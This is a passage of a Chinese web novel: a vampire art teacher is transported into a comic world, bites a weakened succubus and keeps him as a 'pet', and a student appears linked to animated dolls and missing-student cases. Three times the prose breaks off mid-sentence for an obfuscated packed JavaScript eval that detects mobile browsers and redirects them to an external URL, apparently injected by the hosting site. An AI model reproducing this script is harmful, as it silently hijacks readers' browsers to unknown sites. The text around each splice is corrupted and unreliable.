《漂亮魅魔非要跟他过不去》 1. 体验计划 以往说来，这种突然出现，关闭图标小之又小的东西，霜白语一概将其打成垃圾广告。 但漫画是他亲手点开的，只是后续弹窗跳闪速度太快，等意识到自己做了什么选择，已经来不及点退出了。 “欢迎屏幕前的你阅览本次互动式体验计划。” 不同于寻常漫画的彩色扉页，这本只有上述这么一句话浮现在屏幕中心。 半拍的卡顿后，弹窗底部跳出一个倒计时图标。 像是网络信号差时鼠标边上附带的沙漏，悬停不到两三秒，跳出一个新的选项。 文本内容在提示是否需要继续。 霜白语时刻都抓握着鼠标，但点否定的速度还是没有系统默认选‘是’来得快。 光标脱离了他的掌控，一味进行着下一步接下一步的操作。 不管这一刻是电脑中了病毒，还是超自然事件降临，硬件操作和软件反应一分家，霜白语歇了夺回鼠标控制权的念头。 而是根据提示阅览漫画扉页提到的互动式体验计划。 他阅读的速度不可谓不快，也只够囫囵吞枣地看了个大概。 依稀捕捉到了诸如角色扮演、漫画剧本和失败后沦为NPC的关键字眼。 “检测到当前页面停留时间较长，默认观阅者同意参与本次计划，将在十秒内进行传送……三、二、一，传送已结束。” 屏幕光亮瞬间消失，伴随着悄然飘落的纸张，房间内已经空无一人。 霜白语等待着强制传送带来的晕眩感过去。 不适让他眼底一瞬闪过猩红，像是本能被唤醒又强制压下。 他的视线悄无声息地掠过当前所在地点，本意想着判断这个世界和原先的有什么区别。 毕竟那个计划说得不清不楚。 没有时代背景，也不讲人物关系，只随机给了他一些角色选择。 顺带一提，角色简略到了只有年龄和职业以及工作所在地信息的地步。 观察进行到一半，霜白语倏地愣住。 跟前场景的即视感太强，街道命名眼熟也就算了，连边上栽了几棵树都跟记忆里的完全画上等号。 他沿路走过两个街区。 从商店街的陈设到路边的涂鸦，都等比例完美复刻，眼前所见太像真实，让人下意识忘掉这是个虚假的漫画世界。 混淆真实与虚假的结果，就是沦为这场互动体验计划的牺牲品。 那么—— 霜白语在备忘录里敲敲打打，并不意外所有明确提示他刚刚进入了一个漫画世界的文本信息，其留存的时间都不超过三秒钟。 外力不可掌控。 他放弃无谓的尝试，转而查看手机通讯列表，又翻了一圈聊天软件的联系人。 确认了自己当前的角色身份和现实中没有差别。 算了，来都来了。 姑且先体验一下，等通关后出去给它速码一篇真情实感小作文。 霜白语收起手机。 现在天色已晚，时间上来说适合夜行生物活跃，但他白天工作累到了。 看番本意是为了放松，没想过还有他家电脑通异世界这种老梗。 猝不及防被传送到这个披皮的陌生漫画世界，他只想先回去补上一觉。 等到了能看清公寓楼顶角的地方，霜白语的去路被拦截。 只在游戏中出现过的、充满了禁止通行红色标语的空气墙。 ……这漫画作者是隔壁仿生人游戏的死忠粉吗？ 霜白语没去推翻墙体，走近查看空气墙上的细小字体。 他获得了明确的第一个提示，提示他这是个有别于现实的漫画世界。 任务完成时间规定在今晚。 左右他回不去，以此来换取休息机会的同时，试验一下这计划的底线也不是不行。 霜白语欣然接受，又不耽误吐槽。 如果发布的任务背景没有延用他那讨人厌的家族人物关系就更好了。 临近深夜，街头灯光昏暗。 一抹身影自巷间穿过，脚下踉跄，没能走几步路，他先脱力地抬手撑住墙壁。 啮齿类生物爬过的窸窸窣窣声时不时响起，盖不住这人加重的喘息声。 身体重心前靠向墙，大半的面容被垂落的发丝遮挡，只隐约瞧见失去血色的唇瓣。 看起来像受了很重的伤。 凛华咬破下唇，指尖抹血凌空画着阵。 可惜没等阵法成型，外界的干涉先一步中断了他的意图。 后衣领一紧，反应过来时，人已经被揪着带离了暗巷。 高空的夜风呼啸而过，带起的细碎发丝擦得脸生疼。 粗暴对待他的一方显然没给他喘息机会。 不等调整落地姿势减少冲击带来的伤害，身后施加的巨力搡着他往前。 凛华目前正处于虚弱期，甚至无能维持成年形态，外表看起来十八九岁，介于少年与青年之间。 这会自然抵御不了这般又抓又推的暴力行径，脚步虚浮地一头扎进了杂物堆。 “嘶……” 天台堆砌的杂物最是少不了生锈坚硬的东西，惯性摔了这么一下，疼得他够呛。 虚弱的凛华没能马上起来。 一是没力气。 二是带他体验一把空中飞人的对象，已经欺身向前，一手掐住他脖子了。 凛华猝不及防和人相撞了目光。 对方双眼狭长，眼尾轻勾，有着出奇漂亮的瞳色。 觉察到凛华的视线，这双漂亮的眼睛弯起，眼波流转，冲淡了其中的冷沁。 凛华感觉掐着脖子的力道松了点，对方搭在颈窝处的手指微动，勾画似的流连而过。 身后便是墙壁，凛华无处可躲。 粗略判断现在将近午夜，正是他身体最虚弱的时刻，别说躲开，连抬手都十分费劲。 凛华被迫承受着满富侵略意味的手指肆意动作。 像极了沾上蛛网的飞蛾，只能任凭一旁候着的猎人宰割。 头顶的星空下，散着清冷光芒的弯月正被一圈浅色的淡红勾勒描绘。 这仿佛成了某种征兆。 那双背光的眼转瞬被猩红吞噬，慵懒微眯起的眼中乍现一线华光，危险骤然降临。 “嗯……那啥？” 现实摆在面前，凛华反应过来对方的意图。 这是把他当储备粮了啊，他虽然在虚弱期不假，但—— “我劝你最好别咬。” 回应他的是面前这人无所谓的一声轻笑。 凛华颈间一痛，尖锐的利齿已经刺破了皮肤。 血液滚烫。 多数被埋首其间的血族吸食入腹，仅有少数从伤口处流淌而下。 这个明显已经成年的吸血鬼，未免太没常识了吧，不知道虚弱期的魅魔不能随意咬吗？ 就算一开始不知道，尝过血液的滋味总该清楚他身份了。 怎么还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405179|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸食个没完了…… 这是凛华昏过去前，脑海中接连串过的数个念头。 感知到面前人彻底脱力，霜白语进食的动作一滞，陡然松了口。 他唇角尚且挂有一丝血迹，双颊染上了浅绯色。 这衬显得他自下而上打量的眼神不清不白。 “不就是一个魅魔，有什么好怕的。” 清润的嗓音压低了，每个音都咬得极其缓慢，犹似呢喃着情人的名字。 霜白语浑不在意地笑答。 可惜昏迷过去的人无法给予他任何回应。 虽说宠物进入私人领域与他朝夕相伴，对独居单身青年而言是份美谈。 无论猫狗蛇兔走地鸡，共同点在于不会说人话，面前这个显然一样不沾。 他对豢养一只魅魔当宠物这个事持保留意见。 但纵使心底百般抵触，作为剧情得以继续推进的前置条件，霜白语不得不捏着鼻子认栽。 失去意识的人分量不轻。 霜白语思索，好在他年轻且刚刚饱餐一顿，有的是力气和手段。 干了。 月色朦胧，凌晨的街道鲜有人迹，那之后，空中似有弧影一闪而过。 . 播放器的按钮被拧开。 首先传出的是磁带录入前短暂的空白期，缓了两三秒，嘈杂的音色沙沙作响。 人声紧随而至，漫布到了这个并不算特别空旷，但又恰到好处的空间里。 凛华沉浸在梦中的思绪因为一则报道逐渐清晰，像一阵风将细碎的尘埃吹散，仅剩的一点朦胧退去。 他睁开双眼，隔着一层遮挡，视界一片模糊，他试图抬起手拂去那点障碍——发现被束缚住的并不单单只有他的视觉。 意识于此刻彻底清明。 凛华掩在发间的耳朵循声而动，作为背景音存在的播放器内容清晰地灌入耳中。 是近期传得沸沸扬扬的社会热点事件。 凛华转头朝向这个房间的另一边。 黑布蒙了眼，辨不清具体事物，只做出了看的动作。 “你把我绑着做什么？” 霜白语正鼓捣着刚修好的播放器，闻言抬头，正好瞧见了这么看过来的凛华。 即使被束缚在铁制的椅凳上，依旧能看出对方的身量颀长。 语气带着真切的困惑，除此之外，没有流露出半分害怕，连紧张的情绪都捕捉不到。 陌生环境中醒来，发现自己行动受限。 与此同时，用来侦察的视觉被剥夺，不见慌乱不说，还有闲情礼貌地问人目的。 确实挺符合那帮人选用的标准。 也进一步说明了这个体验计划幕后设计者的不怀好意。 外力干涉下他做出了选择——将魅魔带回来当宠物养——这个决定又微妙地跟那帮人扯上了关系。 凛华问完人，耐心地等待了一段时间，意料之中没有任何回应。 昏迷前的最后一幕慢镜头地在脑海里回放，身体烙下的记忆随着他主观回顾又疼上一次。 凛华默默地转着手腕，寻找合适的开锁角度，在心底兀自腹诽。 不都说吸血鬼的唾液有止血功能，怎么咬他的这位没点售后服务。 态度也太差了。 凛华眉头一跳，思绪戛然而止。 不知何时近在跟前的霜白语上了手，指腹搭在了他颈侧。 要害再次被掌控，他不禁屏住了呼吸。 2. 来而不往 随着力度的收紧，脉搏跳动地越来越快。 凛华不安地挣动了下，嘴角牵动似乎想说点什么。 生有一副好皮囊的魅魔被蒙了眼，面容被黑布遮去了小半，衬显得他唇色红艳，不亚于被鲜血染红的模样。 霜白语略微耸搭着眼，像是被面前的美色迷惑，搭在人颈间的手缓缓松开。 被束缚的魅魔没有大的反应，似乎在揣测他的下一步动作。 充当着背景音的播放器停了播报，明明还有两人存在的屋内安静得落针可闻。 霜白语的手指悬停在对方唇前，迟迟没有落下。 他不否认，此刻又想起了魅魔血液的滋味。 已经成年的血族对这类本能的需求不大，加上他老实本分，一向遵纪守法。 这次咬人，是霜白语正儿八经的首次开荤。 纵使没有足够对比，也能分出好赖。 对方的血非常吸引他，是一旦尝过就忘不掉的上瘾。 凛华察觉到对方的迟疑，试探地偏转过脑袋。原本悬空的手指擦着唇角落到了脸上。 不曾预料的意外让两人俱是一愣。 皮肤的触感不似嘴唇柔软，但也同样细腻。 霜白语甩了甩手，指尖尚且留存着触碰过的感觉，心中的痒意险些压不住。 他留意到眼前的魅魔原本即将挣脱束缚。 只是刚刚的那点意外让他一瞬手抖，脱开的卡扣又落回了原处。 真没用啊。 霜白语心底嘲讽，自己往后退开了一些，压下渴血的冲动。 这不是好事，有欲望就意味着有弱点，尤其这个魅魔是被刻意安排送到他面前的。 而家族那帮子人，一个个都盯着他，巴不得他早点交代在外面。 霜白语早在成年前便离开了讨人厌的家族，奈何至今未曾彻底脱离他们的监控，一举一动都有耳目记录并如实反馈回去。 哪怕换了个披皮世界，一切都没改变。 难怪。 霜白语之前还好奇给的角色卡信息这么简略。 现在看来，这种等比复刻原来世界的骚操作，确实也没必要多加赘述，直接捡现成热乎的。 “恭喜，你被编入家养范畴了。” 霜白语没再刻意掩盖走动时的响声，重新回到了桌前。 凛华大概是没被这么对待过，连继续撬锁的动作都卡了半拍。 “你是说，要把我养起来？像猫狗宠物那样？” 更见鬼的是，明明最开始他俩就打过照面，完全知道对方的长相，这个欲盖弥彰的布条到底起到了什么作用？ 凛华终于解开了束缚手腕的链条。 但他没有第一时间展现成果，显然对方也清楚这点，又假装自己并没发现。 “姑且问问，你喜欢什么款式的项圈。” 霜白语没否定凛华的质疑，看着刚收到的短信，又轻飘飘地丢出一句。 “作为礼成的交换，我俩可以互通一下名字。虽然你是我的宠物，但我实在是没有被叫主人的癖好。” “好意心领了，我得说明一点，我也没有给人当宠物的爱好。” 凛华解了束缚，摘掉蒙着眼睛的黑布，斜过眼看向霜白语。 后者专注点不在他，忙碌着整理桌上的东西。 凛华被无视了。 他的视线快速逡巡而过，整个房间布局转瞬映入脑海，身体先大脑一步做出选择。 凛华一只脚踩上了窗台，清晨的风吹得人精神了不少。 “你都没点表示吗？” 霜白语充耳不闻。 “好歹拦一下，明明是你先对我强取豪夺，我都这样了你还没反应，搞得好像是我在无理取闹。” 当面越狱的中途整出八百个小动作，始终没勾到屋主人更多的反应。 他不甘心，凛华继续输出明示对方配合。 “我们应该百般拉扯推来扭去，我逃你追，高喊着‘来次jump——’” 高昂的语调搭配着冷静的一张脸，说不出的诡异割裂。 他闭嘴了。 因为霜白语看他的眼神像在看一个精神病人。 被凛华的聒噪小小震惊后，霜白语想起要说的话。 “万幸你没有选择破窗而出的方式，展示你浮夸风的表演，不然我该找你索要财产损失费了。” “那你得先赔我精神损失费。”凛华顺竿上爬。 “我提供给你能遮风挡雨的住所，免费吃喝……你自己推开的补偿。” “听起来不赖，”凛华从善如流地坐下，“我改变主意了。” “好孩子。” 霜白语随口一夸，拎起外套就要出门。 “去哪？” 凛华警惕地观察着他，暂时找不到对方行事的逻辑，特意绑他来，又并非真得在意他去留。 “接下去是自由活动时间。”霜白语丢下一句，没再管人。 门板坦荡荡地合拢，隔绝掉里面那只魅魔探究的眼神。 人在异世界，还要继续去上班。 他不暴躁谁暴躁。 叮铃。 霜白语闻声先动，脑子原本还在想别的事，缓了半拍，才开始处理眼睛接收到的信息。 小小的人偶自然地走在路上。 很多时候，一些人讽刺另一些人办事能力低，往往会说他一句除了会喘气，活得不如个装饰用的摆件。 此刻本该只是挂在包上、或者摆在痛柜里的玩偶，正迈着四四方方的步子，大摇大摆地走在人群中。 霜白语眯眼望天，朝阳初显，青天白日不会撞鬼，要撞也是别人先撞他这鬼。 玩偶大概察觉到瞩目，转头的动作相当丝滑，视线精准地穿透人群锁定了霜白语。 正如他一眼就看到了这点超乎寻常的小玩意。 银铃再度碰撞。 化着精致妆容的人偶移开视线，并未有攻击的打算，一蹦一跳地跑远去。 霜白语没跟。 不在职责范围，且没有红墙出现逼迫他强制执行某件事。 没卷进什么奇怪案件，霜白语当然不会上赶着给自己找麻烦。 他一向不爱瞎掺和。 因此霜白语错过了转角处发生的一幕。 能动能走的玩偶被指骨分明的一只手拎起来。 前者踢蹬着四肢，发现挣脱不了后，张嘴就咬，被那只手无情地捏断了颈骨。 破碎的玩偶失去真人皮肤的质感，扭断的地方露出接榫痕迹。 它睁着圆溜溜的黑眼珠，视线斜斜地落向一边，没了声息。 破开一角的碎片飞溅，在脸侧落下细小狭长的一道口子。 正在给人偶画眼妆的少女顿住，倏地看向工作台边的摆架。 三分高度的其中一个玩偶失去了颈骨的支撑，脖颈不自然地歪向一侧。 玩偶那对色泽颇深的眼瞳，因为脑袋歪斜，正定定地望向她。 游香顾不上脸颊伤口的痛，放下进行到一半未成品，她走向摆柜，试图撑起人偶断裂的颈骨，没能成功。 ‘怎么会’的念头一闪而逝。 某种可能性击中了她。 严丝合缝闭合起的玻璃窗外，一片片雪花以极缓慢的速度飘扬着落下。 沾黏在玻璃上，融化成数条蜿蜒的水渍。 游香神经质地搓动着右手指腹。 那个人…… 他回来了，在她还没来得及做足够多准备的时间点。 该死。 指甲来回扣弄着指腹，挤压的白痕反反复复出现，游香在心底咒骂道。 窗外，雪依旧在下，渐渐地在道路上积起了薄薄的一层。 鞋子踩过路面的积雪，拓下半边脚印。 这雪落得太突然。 霜白语第一次对时间产生了认知差。 他刚来时还在初秋，意识自然跟着感知走。没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405180|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这地方能一键入冬，速度快得打了他个措手不及。 万幸他耐寒，对出门在外的着装也很有讲究，短暂一个寒噤后，他已经适应了这个突然降临的季节。 雪仍在飘，来往的路人纷纷撑起伞。 霜白语加快脚程地去往学校。 抵达学校所在的街区时，早前短暂出现过的朝阳重新冒头，雪暂时停下了。 霜白语远远瞧见一人踯躅在外，只一味地观望学校，迟迟不进去。 冰雪未融，保安蜗居在门廊之下，不做干涉。 现在这会还早，距离迟到还差个把小时，虽然学生在门口站了很久，但她穿着学院制服，保安权当她在等人。 很快，一个青年的到来证实了保安的猜测。 “游香？你回来了啊，身体好些了吗？” 前段时间，少女因身体抱恙休学在家。 圣欣高校是全封闭式管理的学院，日常需要的一切在这里都有相应的供给地点，每隔固定的两个月会有一次开放日。 游香的情况特殊，学校医务室的条件纵使不差，也比不过在家精心照料。 只是她的病假未销，实际返校的时间比预计早了一周。 在外踌躇不前的少女正想着她不在的这段时间、学校里发生的事，冷不丁被旁人搭话。 她的沉思被打断，转头看见一身长款风衣，系着浅色围巾的霜白语。 站在她几步开外的地方，肩上蒙着细碎的水珠，不知在那里看了多久。 他的面上展露着恰到好处的关心。 “霜习老师。” 游香在外人面前总表现得开朗，笑起来时露出的梨涡是格外好用的加分项。 “我好多了，谢谢老师关心。” “刚好，一起进去吧。” 霜白语拉起围巾，将大半张脸掩进柔软的织物中，带着游香进去。 擦肩而过时，少女鼻翼微动，嗅到了一丝冷冽的气息。 与雪后的清冽不同，有股独特的暗香。 ……老师身上，怎么会有他的味道？游香暗自疑惑，跟随着霜白语进了学校。 青石路面上积雪不多，只在边缘留了些皑皑雪色。 气温倒是实打实地降了下来，一张口便是白色的气团。 “老师，上次布置的作业我还没完成。” 她指的是课后的人物画像。 作为学院唯一特别聘请的美术教师，霜白语刷新在学院的概率不大，但每次上完课必有作业。 “没关系。” 霜白语略微偏头看她，少女请的是病假，理应在家好好休养，至于别的事，自然需要往后排。 “身体永远是第一位的，画不着急交。” 游香甜甜一笑，“但我已经有构思了哦。” 她没能得到想要的反应，重新挑起话题。 霜习老师顺她意思说话表现出的体贴，反而是她此时最不愿见到的。 休学在家虽然久，她时刻关注着近期的热点新闻，讨论话题度最高的莫过于离校途中失踪的学生。 游香是在失踪案频发期间，选择了在家养病——实际只是借口罢了。 封闭式管理的学校固然是提供不在场证明的最好选择，但也存在诸多限制，现在的她还没法肆无忌惮做一些事。 不久前的一个玩偶无端被毁，游香迫切需要寻找新的目标，顺带着试探周围人对这类案件的关注度。 霜白语似乎没预料到她会抛出这么一个话题。 为人师表，他按下短暂冒头的迟疑，耐心等待游香的下文。 这个年纪的学生，满脑子都是理想主义。 但不可否认他们的点子，多具创意，不曾被磨灭的热忱无处安放，描绘出的是独属于他们心中的蓝图。 以此为基础向外推演，游香的想法就颇显离经叛道了。 “在学校展厅摆出模型吗？” 霜白语重复着她的提议。 3. 少耍手段 “没错老师，即便只是学期中的作业，我也想要更大些的展示舞台。” 游香踮着脚尖走路，避开路上低洼处的水坑，身姿轻盈似舞者。 “单纯的纸上作画过于传统，我想要来场大的……当然，希望老师能帮我向校方申请，以老师的名义办个人展，可以吗？” 少女瑰丽的双眸满是期待，比起征询意见，这更像是将计划到位的事直接说与他听，笃定霜白语会答应。 拥有特权的好处在这时候体现出来。 只要霜白语以个人名义提出办展，开设场地不在话下。 “可以啊，两天后。” 成年人该有的深思熟虑一概被省去，霜白语如游香希望的那样，答应得很爽快，“期待游香同学的作品。” “谢谢霜习老师。” 话题结束得正是时候。 游香站在教学楼边的台阶上，朝霜白语挥挥手。 寒风拂面过，少女不自觉地动了动鼻翼，那股暗香已经闻不见了。 霜白语的办公室远离行政楼，离综合生活部更近，以目前他的在校身份，能独享一整间办公室。 他没俯瞰整个学院的癖好，办公室选在适中的三层。 平时不会有谁刻意叨扰，但办公地该有的分区一概不落。 他将风衣放到会客区单人沙发的扶手边，在零食柜旁驻足片刻，捞了点吃的喝的，没什么形象地窝进沙发。 靠墙处的架子摆着风格迥异的艺术品，来源皆是他所教学生的作业。 霜白语边吃边看，将每一件展品都细致描摹过一遍，他幽幽叹了口气。 现在又开始拿捏不准幕后人的意思。一方面提醒他不再身处原来的世界，另一方面，每一处微小细节的等比复刻不断混淆他的视听。 这么喜欢在暗中窥伺别人的生活，好烂的品性。 霜白语收回落在展品上的视线，给相关负责人报备完之后的安排，登进学校内部论坛，匿名发表了一个帖子。 他没在线蹲守回复的打算，也恰巧在这个时候，手机上某个应用设置的提示音响起。 霜白语把零食袋放到一边，点开弹窗未关的APP。 想必养着宠物的独居人士都很有经验，在外打工抽空摸鱼时，会忍不住翻看监控找家里的逆子行踪。 几点几分，干了什么。 当然，霜白语家里没有毛孩子，只有不怀好意的一只魅魔。 对方故意搞出噪音来吸引他注意。 等霜白语如他愿查看监控，凛华对着摄像头热情大方地打了个招呼。 带有一点延迟的画面延迟了半拍传出魅魔的声音，他听起来很高兴。 是那种坏孩子偷偷干了什么的沾沾自喜。 那点声音不止响起在监控画面里，也同时响起在耳边。 在这个除他之外再无别人的办公室里。 霜白语很清楚自己在经历什么。 他冷静地抬眼，和镜头那边的魅魔对视，“收起你那些无处安放的小把戏。” 凛华耸肩，又凑近到摄像机位前，帅脸抗住了死亡角度，没让他畸变成全新物种。 “工作时间摸鱼可不是好习惯啊，老师。” 那个称谓被他含在舌尖，缱绻地吐露。 霜白语皱眉。 他并不意外对方知晓自己的身份，魅魔是家族那边的人丢过来的，他在人类社会什么身份，在经年累月的监视下，自然瞒不过。 他单纯讨厌凛华玩味地说出那两个字，充斥着不加掩饰的轻佻和不尊重。 “你知道自己现在满脸都写着想要我陪你玩吗？” 霜白语温和地说出嘲讽的话。 “这么自然地接受代入到新的身份，你的适应能力真不错。” 不等凛华回敬，他先一步切断了连线。 霜白语又往嘴里塞了口零食，敲着扶手面思考不久前游香的提议。 良好的嗅觉让他捕捉到了少女身上很浅的一丝血味。 不像是她身上的伤口——也可以有——更多的是长久待在封闭环境里沾染上的。 她或许很小心地处理了，但嗅觉适应后很难再分辨身上被外界侵染的痕迹。 特地强调要他以个人名义办展，这孩子真不当他是外人，甚至不是人，直接把他当枪使了。 游香不可能是单独做到的这一切，背后少不了周密的计划和漫长的铺垫，以及最重要的一点——她需要帮手。 那帮老家伙丢出来的麻烦还没解决，他这又是被新的什么人盯上了。 算了，反正他提前做好了准备，只要报备过，真出问题了那也不是他一个人的责任。 霜白语的课程排在下午，他简单背完课，有闲功夫翻看论坛别人在他匿名帖子里的回复。 眼看着论坛高楼平地起，可惜都是囫囵而过的话，没什么太大的参考价值。 后来大概是因为消息刷太快，这帖子被顶上来好几次，引来了管理员的注意。等霜白语结束教学想再看看时，系统显示帖子已被处理，他的账号因违反相关规定被禁言三天。 行吧。至少说明这事影响还在可控范围。 霜白语抄起衣服往家里走，路上又抽空看了下监控回放记录，确信那魅魔还老实待在家里，哪也没去。 他关门后没立马开灯。 玄关往里探的视角范围有限，视线只够点到左手边的客厅，以及正前方幽深的走廊。 血族夜视能力极佳，嗅觉也尚可，这会倒是不得不感慨一句，对方隐匿功夫了得，甚至有心思跟他玩躲猫猫游戏。 霜白语将风衣挂上衣架，黑暗中感觉周围的气流被搅动。 啪—— 旋身回击的手臂被一把扣住，袭击者准确无误地在挡住攻势时，体贴地按下了走廊处的开关。 骤然亮起的灯光让霜白语双瞳化作细针，殷红冷色替代了原先的温润。 他空闲的另一只手并拢五指，直刺凛华脖颈要害。 凛华微侧脑袋，颈边却依旧落下一道细痕，血色登时充盈其间。 他抓住霜白语的手腕，无所谓地调侃。 “宝贝，你下手也太重了吧？” “那你可真娇气。” 霜白语龇牙威胁，被扣住手腕的左手五指指甲迅速伸长。 大有凛华不松手就把他脖子抓花的势头。 “还有，收起你那膈应人的称呼。” 凛华装傻充愣，牵着对方手腕往外隔开些许，确保自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405181|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子处在相对安全的范围之内。 “我都同意当你宠物了，还不够换一个称谓的？” 凛华将霜白语逼到墙边，有什么细长的东西从他衣服后摆钻出。 “也不知谁初见时就抓着别人咬，当时怎么没想到界限这码事，真算起来还是我比较吃亏呢。” 这话说得未免有些偷换概念，凛华把自己摆在了无辜受害者的身份下，绝口不提他自己同样的不怀好意，另有所图。 现在这个时代，社会里各行各业四处奔忙的大多是普通人，像魅魔吸血鬼这样的非人生物已然划入了都市传说之列。血族作为暗夜生物，相较于前者，多少还留存下不少分支。 但魅魔不一样，他属于恶魔的一种。 在多数故事书里，这类存在降临到人间的条件就很苛刻，前提之一必须要有召唤者。 恶魔能响应召唤者多半逼不得已，或是被掌握了真实名字，或是被拿捏了把柄。 好在契约一旦成立便是双向约束，恶魔出力办事，有契约在不怕他临时反水，等事成后收取报酬就算一单交易结束。 而这其中，魅魔相对更加特殊一点。 书中有记载的都是女性魅魔——虽然严格意义上来讲恶魔没有性别——却也会在外表和自我认知上区分雌雄。 眼前这位，霜白语尝过对方的血，自然也掌握了些许信息。 他虚弱到连成年体都维持不了，想来有不少把柄被掌握在他人手中。 霜白语素来不啻以最坏的想法揣度任何肆意接近的人。 那群老家伙拿捏不住他，总能想到别的手段，逼得他不得不动用血族的能力对抗来自同族之外的威胁。 “你这真要算的话，只能祈愿哪天别落我手里……” 霜白语此刻受制于人，态度没有半分服软。 身高上存在的微末差异让他微掀眼帘，血色沉淀的眼底流淌着冷沁的华光。 未尽之意是，收着点，你好我也好。 凛华唇角微勾，不仅没有松开手，身后的尾巴还变本加厉地勾缠上霜白语的腰。 隔着毛衣丈量起对方的尺寸，尾端暧昧地拍打在他腰窝处。 霜白语脸色遽变。 “这就受不了了？” 凛华抬高了桎梏人的手臂，迫使人靠向自己，他垂眼，照单全收了霜白语意味明显的警告。 呼出的气流几乎打在了唇面，寸寸描摹着唇形。 霜白语稍一抬眼就能望入凛华眼底，对方深紫的眸色混杂些许黑色的斑纹，仿佛琥珀中烙刻着的微小颗粒。 ——魅魔正神情专注地盯着他唇瓣。 霜白语呼吸莫名一滞，他意识到面前这人用了魅惑能力。 然而，或许是血液带来的影响，在明知对方动用能力的前提下，他却无法挣脱控制。 前一秒还在恣肆挑衅，这一刻却成了扑火的飞蛾。 霜白语的獠牙不受控地伸长。 不妙。 他用力咬住舌尖，沁出的血液让他清醒了些许，溢出的血染红了下唇。 凛华抬手触及他唇角，缓慢地拭去上面沾染的血迹。 “我倒是很期待你想把我怎么着，再咬我一次，还是趁我病要我命啊？” 4. 人偶牵戏（1） 霜白语略过了他的二选一，趁对方撵他唇边血迹的时机，伸手毫不客气地一把抓住圈腰上的尾巴，跟薅平一条蛇一样，顺直了甩向一旁。 同时，他脚往边上转，绕出了凛华并不严实的包围圈。 刚迈进走廊没两步，身后亦步亦趋坠着的人形尾巴大有他不搭理就一直跟着的架势。 霜白语回头给他一个问号。 “晚饭吃什么？”凛华脱口而出。 在对方逐渐诧异的瞩目中，魅魔从一开始的试探变成了不可思议。 “你那是什么眼神，我饿好几天了，你不能自己填饱肚子就不管我死活，不久前还说好的管吃管住。” “那我去给你找个人？” 这下轮到凛华扣问号了。 “我要人干什么，没有食人的癖好谢谢，你该不会是没存款想要耍赖说自己没答应过吧。” 霜白语定定瞧他，后者落落大方任由他看。 半晌，霜白语说了句行，解锁手机开始给人点外卖。 “我点什么你吃什么，敢挑剔就没有下一顿了。” 凛华舒坦了，手动关闭跟随模式，去沙发坐着看电视等他的晚饭。 卧室缝隙泄出的灯光表明里面的人并未休息。 凛华从客厅路过霜白语的房间时，非常刻意地在他门口停留了一段时间。他没有遮掩气息，屋主人要是有心，完全能发现外面站了个人。 结果自然是凛华干站了五分钟。 里面的人绝对发现他这么大个存在，但选择将无视进行到底。 凛华很没劲地端着水杯走回自己房间。 霜白语开着平板做方案，事关两天后的展，既然名头打出去了，不能真事不关己，报备过是一码事，真出问题了主要担责的还是他本人。 确保流程没问题，霜白语关上平板，往窗外看了眼。 月明星稀，冬日难得的好天气。 白天其实他也没做多大的事，去学校感受浪漫主义气息，收效甚微，反倒感觉先被工作吸干了精气。 在这个本该过上昼夜颠倒时差的身份上，霜白语罕见得困了。 床很好，很舒服，他最好现在洗洗就去睡了。 霜白语抬手松了松领口，指尖碰上颈侧微凉的皮肤。 脑海里莫名闪过刚才凛华贴近时的画面，当时氛围紧张没来得及顾上，现在回想起，对方的体温比血族高上一些，扣着手腕的温度对他来说有点烫了。 再就是，虽然只有短短一瞬间，但不得不承认，凛华尾巴的手感不错。 烦躁感不由得冒起。 霜白语放弃了睡觉的念头，转而走到窗边，准备给房间通个风。 指尖刚碰到窗户把手，一道外物碰撞落在窗玻璃上的动静毫无征兆地响起。 叩叩。 霜白语的动作顿时停下。 得益于他良好的夜视能力，看清了此刻媲美恐怖片场的发展——那是一个不及成年人膝盖高的人偶，妆容精致的脸上挂着笑，搭配眯眯眼自带反派光环，那只关节分明的手还维持着叩窗的姿势——补充说明一点，他家在八楼。 不速之客啊。 这白天路上刚撞见它同行，视而不见的结果，就是晚上换一位来敲他家门。 霜白语眸色微沉，眼底猩红极快地掠过。 眯眯眼人偶注意到他，纤细的一条腿后撤半步，另一台腿膝盖微曲，弯腰做了个鞠躬问候的动作。 好吧，确实就是冲他来的，也不知道这要整什么幺蛾子。 霜白语没立刻开窗。 而是略微调整了站姿，确保诡异人偶在目光所及处，稍有异动他能及时做出反应。 猩红于下一秒蔓扩双眸，建筑墙体顷刻间化作钢筋铁骨的虚影。 他的目光直直穿透几面墙壁，看清了另一处房间的魅魔，他好整以暇地靠在竹编藤椅中，单脚撑地晃晃悠悠地转动着椅子。 大腿上摊开着的似乎是随手从书架抽出的地理期刊杂志。 除此之外没有异常，没直接明显迹象表明外面的人偶跟凛华有关。 